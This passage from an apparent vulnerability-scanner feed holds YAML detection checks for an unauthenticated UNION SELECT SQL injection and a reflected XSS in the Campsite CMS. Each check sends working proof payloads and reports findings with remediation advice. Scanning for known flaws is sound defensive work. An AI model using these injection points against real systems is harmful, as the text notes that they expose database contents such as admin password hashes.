#      $file (fatal error), which production PHP (display_errors Off,
#      output_buffering 4096) turns into HTTP 500 with the listing still in
#      the body. The id column is NULL so the row never enters Campsite's
#      object cache (SiteCacheEnabled), which is keyed on id.
#   2. Fallback (QoD 70): the picker page ("Image List" with its "No
#      Attachments Found" / "Invalid base directory" box) is served without
#      login — fixed releases redirect to the login page (a body carrying
#      "<?php", i.e. source served as text, is ignored). This covers an
#      install whose Attachments table has another column count or whose
#      attachment folder is missing (the query then never runs).
#
# CVSS: NVD has only a v2 score (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P); no v3.x.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_campsite_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902072, GPL-2.0-only), which only compares the
# detected version with 3.3.5; this feed runs the injection itself.
uid: 16b25ff6-5f35-4938-b48d-fe9ce585a9b1
name: "Campsite attachments.php article_id SQL Injection (CVE-2010-1867)"
description: |
  Tests Campsite for the unauthenticated SQL injection in the TinyMCE
  attachment picker, javascript/tinymce/plugins/campsiteattachment/attachments.php,
  which builds its attachment query with the article_id parameter unquoted
  and unchecked. The feed requests the page under the usual install folders
  with article_id set to a UNION SELECT whose file name column is the text
  NOCTIS, the product of two random numbers and END; the database-computed
  value printed as an attachment name confirms the injection. The query only
  reads, and nothing is written. When the injection cannot be confirmed but
  the attachment picker is served without login (fixed releases redirect to
  the login page), the page is reported at lower confidence.
cves: [CVE-2010-1867]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [campsite, campware, newscoop, php, mysql, sqli, union-sqli, tinymce, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1867"
  - "http://php-security.org/2010/05/01/mops-2010-002-campsite-tinymce-article-attachment-sql-injection-vulnerability/index.html"
  - "https://sourceforge.net/projects/campsite/"
  # OpenVAS/Greenbone NASL 2010/gb_campsite_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded payload ───────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      let cols = "NULL,NULL," + c + ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         union: "-1%20UNION%20SELECT%20" + cols + "--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-page-dir
    action: set_var
    var_name: page_dir
    var_value: ""

  # ── Loop group: every following step runs once per install folder ────────
  - id: init-union-r
    action: set_var
    var_name: union_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/campsite", "/Campsite", "/campsite/implementation/site", "/implementation/site"]

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/javascript/tinymce/plugins/campsiteattachment/attachments.php?article_id={{sc.union}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: union_r

  - id: union-check
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(union_r.body) == "string" { union_r.body } else { "" };
      if body.contains(sc.want) { "union" } else { "" }
    store_as: hit

  # First folder serving the picker page without login (fallback evidence).
  - id: page-check
    action: script
    condition: 'hit == "" && page_dir == ""'
    code: |
      let body = if type_of(union_r.body) == "string" { union_r.body } else { "" };
      if union_r.status == 200 && !body.contains("<?php") && body.contains("<title>Image List</title>")
         && (body.contains("No Attachments Found") || body.contains("Invalid base directory:"))
         && body.contains("campsiteattachment.js") {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: page_dir

  - id: report-union
    action: match
    source: hit
    pattern: "^union$"
    on_match:
      finding:
        title: "Campsite attachments.php article_id SQL Injection (CVE-2010-1867)"
        description: "An unauthenticated request to Campsite's TinyMCE attachment picker (attachments.php) with article_id set to a UNION SELECT of the product of two random numbers listed the product computed by the database as an attachment name: article_id reaches the SQL query unquoted and unchecked, so an attacker can read any data the Campsite database account can access, including administrator password hashes."
        remediation: "Upgrade Campsite to 3.3.6 or later (now Newscoop), which requires an administrator login for the attachment picker and accepts only a numeric article_id. Until then, block access to javascript/tinymce/plugins/campsiteattachment/ from untrusted networks."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{dir}}/javascript/tinymce/plugins/campsiteattachment/attachments.php?article_id=-1 UNION SELECT NULL,NULL,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),NULL,...-- - listed the database-computed value {{sc.want}}"
      stop: true

  # ── Fallback: picker served without login (after every folder) ───────────
  - id: report-page
    action: match
    source: page_dir
    pattern: "^/"
    condition: 'hit == "" && page_dir != ""'
    loop:
      var: once
      over: [1]
    on_match:
      finding:
        title: "Campsite attachments.php Served Without Login (CVE-2010-1867)"
        description: "Campsite's TinyMCE attachment picker (javascript/tinymce/plugins/campsiteattachment/attachments.php) answered an unauthenticated request with its attachment list page instead of redirecting to the login page, as Campsite 3.3.5 and older do: this page passes article_id unquoted to its SQL query. The UNION SELECT proof did not list the computed value (the attachment folder may be missing, or the table layout may differ), so the injection itself was not confirmed."
        remediation: "Upgrade Campsite to 3.3.6 or later (now Newscoop), which requires an administrator login for the attachment picker and accepts only a numeric article_id. Until then, block access to javascript/tinymce/plugins/campsiteattachment/ from untrusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "GET <install folder {{page_dir}}>/javascript/tinymce/plugins/campsiteattachment/attachments.php returned the attachment picker page without login"

Campsite list_dir.php listbasedir Cross-Site Scripting

CVECVE-2009-2181
Severitymedium · CVSS 6.1
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/campsite/CVE-2009-2181.yaml

Tests Campsite for the reflected cross-site scripting in admin-files/templates/list_dir.php, which passes the listbasedir global (set from the request when register_globals is On) to opendir(); PHP's warning for the failed call quotes the value without HTML escaping. The feed requests list_dir.php under the usual install folders with listbasedir set to a random HTML tag and reports the flaw when the HTML reply carries that tag unescaped inside the opendir() warning. The request changes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/admin-files/templates/list_dir.php?listbasedir={{probe.enc}}
  3. Parses / computes the next value with a Rhai script
  4. Checks xss_line for ^opendir\( → finding QoD 75: Campsite list_dir.php listbasedir Cross-Site Scripting (CVE-2009-2181)

References:

Feed source — tests/vulnerabilities/campsite/CVE-2009-2181.yaml
# Campsite admin-files/templates/list_dir.php listbasedir XSS — CVE-2009-2181
#
# Campsite 3.3.0 RC1 (Campware, later Sourcefabric Newscoop) relies on
# register_globals. admin-files/templates/list_dir.php starts with
#
#   $basedir = $Campsite['TEMPLATE_DIRECTORY'].urldecode($listbasedir);
#   $handle = opendir($basedir);
#
# Requested directly (the shipped .htaccess rewrite rules not active, so
# /admin-files/ is not routed through admin.php), $Campsite is unset and
# $listbasedir comes from the request: opendir() fails and PHP's warning, shown
# with display_errors On, quotes the value. Text-format warnings (html_errors
# Off) never escape it; HTML-format ones escape it from PHP 4.4.9 / 5.1.6 on
# (not in 5.0.x and older), so the page is exploitable with html_errors Off or
# on old PHP. The code is
# unchanged in 3.3.0 (diffed against the SourceForge tarballs). Advisory:
# exploit-db 8995 (list_dir.php?listbasedir=[XSS]).
#
# Detection, per install folder (web root, /campsite, /Campsite,
# /campsite/implementation/site, /implementation/site): listbasedir is a
# random HTML tag <noctis…>; the reply (HTML) must carry "opendir(<noctis…>)"
# unescaped on the line of PHP's "failed to open dir" warning. A page echoing
# the query string elsewhere does not match, and an escaped &lt;noctis…&gt;
# (html_errors On) is not reported.
#
# CVSS: NVD v3.0 6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_campsite_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900385, GPL-2.0-only), which only flags this
# CVE by version; this feed tests the reflection itself.
uid: 8a98ce1a-bcf9-40c6-8761-424f1dab3f05
name: "Campsite list_dir.php listbasedir Cross-Site Scripting (CVE-2009-2181)"
description: |
  Tests Campsite for the reflected cross-site scripting in
  admin-files/templates/list_dir.php, which passes the listbasedir global
  (set from the request when register_globals is On) to opendir(); PHP's
  warning for the failed call quotes the value without HTML escaping. The
  feed requests list_dir.php under the usual install folders with
  listbasedir set to a random HTML tag and reports the flaw when the HTML
  reply carries that tag unescaped inside the opendir() warning. The request
  changes nothing on the server.
cves: [CVE-2009-2181]
cvss: 6.1
severity: medium
category: xss
confidence_base: 0.30
tags: [campsite, campware, php, xss, reflected-xss, register-globals, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2181"
  - "https://www.exploit-db.com/exploits/8995"
  - "https://sourceforge.net/projects/campsite/"
  # OpenVAS/Greenbone NASL 2009/gb_campsite_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      let m = "noctis" + rand_str(12);
      #{ tag: "<" + m + ">", enc: "%3C" + m + "%3E" }
    store_as: probe

  # ── Loop group: one request per install folder. ──────────────────────────
  - id: init-xss-r
    action: set_var
    var_name: xss_r
    var_value: {status: 0, body: "", headers: {}}
    loop:
      var: dir
      over: ["", "/campsite", "/Campsite", "/campsite/implementation/site", "/implementation/site"]

  - id: init-xss-line
    action: set_var
    var_name: xss_line
    var_value: ""

  - id: xss-probe
    action: http_request
    method: GET
    path: "{{dir}}/admin-files/templates/list_dir.php?listbasedir={{probe.enc}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: xss_r

  # The raw tag must sit on PHP's opendir() warning line ("opendir(<tag>)" and
  # "failed to open dir", PHP 5 and later wording), in a reply served as HTML.
  # Returns that line from "opendir(".
  - id: xss-check
    action: script
    code: |
      let b = if type_of(xss_r.body) == "string" { xss_r.body } else { "" };
      let ct = if type_of(xss_r.headers) == "map" && "content-type" in xss_r.headers { tolower(xss_r.headers["content-type"]) } else { "text/html" };
      let out = "";
      if ct.contains("html") {
        for l in b.split("\n") {
          if out == "" && l.contains("opendir(" + probe.tag + ")") && tolower(l).contains("failed to open dir") {
            let i = l.index_of("opendir(");
            out = l.sub_string(i, 120);
          }
        }
      }
      out
    store_as: xss_line

  - id: report-xss
    action: match
    source: xss_line
    pattern: "^opendir\\("
    condition: 'xss_line != ""'
    on_match:
      finding:
        title: "Campsite list_dir.php listbasedir Cross-Site Scripting (CVE-2009-2181)"
        description: "An unauthenticated request to Campsite's admin-files/templates/list_dir.php with listbasedir set to a random HTML tag returned that tag unescaped in PHP's opendir() warning: list_dir.php passes listbasedir to opendir() and the error output is not escaped, so an attacker can inject script into the page through a crafted link."
        remediation: "Disable register_globals (it is removed in PHP 5.4) and display_errors on production servers. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, make sure the shipped .htaccess rewrite rules are active (AllowOverride All, mod_rewrite), or block direct requests to admin-files/ PHP files."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{dir}}/admin-files/templates/list_dir.php?listbasedir={{probe.tag}} reflected the tag unescaped: {{xss_line}}"
      stop: true

View these feeds on GitHub